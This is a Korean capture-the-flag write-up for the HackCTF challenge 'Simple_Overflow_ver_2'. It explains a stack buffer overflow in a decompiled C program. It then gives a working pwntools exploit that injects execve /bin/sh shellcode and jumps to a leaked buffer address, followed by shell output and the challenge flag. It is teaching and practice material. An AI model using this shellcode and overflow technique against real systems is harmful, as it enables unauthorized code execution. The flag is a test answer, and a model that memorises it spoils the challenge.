[HackCTF] Simple_Overflow_ver_2

```
int __cdecl main(int argc, const char **argv, const char **envp)
{
  size_t v3; // ebx
  char v5; // [esp+13h] [ebp-89h]
  char s[128]; // [esp+14h] [ebp-88h]
  int i; // [esp+94h] [ebp-8h]

  setvbuf(stdout, 0, 2, 0);
  v5 = 121;
  do
  {
    printf("Data : ");
    if ( __isoc99_scanf(" %[^\n]s", s) )
    {
      for ( i = 0; ; ++i )
      {
        v3 = i;
        if ( v3 >= strlen(s) )
          break;
        if ( !(i & 0xF) )
          printf("%p: ", &s[i]);
        printf(" %c", (unsigned __int8)s[i]);
        if ( i % 16 == 15 )
          putchar(10);
      }
    }
    printf("\nAgain (y/n): ");
  }
  while ( __isoc99_scanf(" %c", &v5) && (v5 == 121 || v5 == 89) );
  return 0;
}
```

문제의 코드는 다음과 같다.

문자열을 입력받아서 그 문자열이 저장된 주소를 출력 후 한 글자씩 출력해주고 다시 반복할 지 묻는 프로그램이다.

데이터를 입력 받는 부분에서 bof취약점이 발생할 수 있다.

시작지점에서 0x88만큼 떨어져 있고, 32비트 이므로 리턴 주소는 4바이트 떨어져 있으니

0x8c만큼 채워주면 된다.

쉘을 실행하는 함수가 없으니 32비트 쉘코드를 넣고 리턴 주소를 데이터가 저장되는 변수의 주소로 바꿔주면 되겠다.

이에 맞게 익스플로잇 코드를 짜면

```
from pwn import *

r = remote("ctf.j0n9hyun.xyz", 3006)

r.recvuntil("Data : ")
r.sendline("hi")
addr = int(r.recv(10), 16)
r.recvuntil("Again (y/n)")
r.sendline("y")
r.recvuntil("Data : ")

payload = b"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"
payload += b"A"*115
payload += p32(addr)

r.sendline(payload)
r.interactive()
```

다음과 같다.

변수의 주소를 받아오기 위해 아무 값이나 보내고 그 주소를 저장한 뒤 페이로드를 구성해서 보내주면 쉘이 따진다.

```
0xfff3add0:  1 ₩xc0 P h / / s h h / b i n ₩x89 ₩xe3 P
0xfff3ade0:  S ₩x89 ₩xe1 1 ₩xd2 ₩xb0 ₩x0b₩xcd ₩x80 A A A A A A A
0xfff3adf0:  A A A A A A A A A A A A A A A A
0xfff3ae00:  A A A A A A A A A A A A A A A A
0xfff3ae10:  A A A A A A A A A A A A A A A A
0xfff3ae20:  A A A A A A A A A A A A A A A A
0xfff3ae30:  A A A A A A A A A A A A A A A A
0xfff3ae40:  A A A A A A A A A A A A A A A A
0xfff3ae50:  ₩x80
Again (y/n): $ ls
$ ls
flag
main
$ cat flag
HackCTF{y0u_d1d_7h3_45516nm3n7_5ucc355fully!}
$
```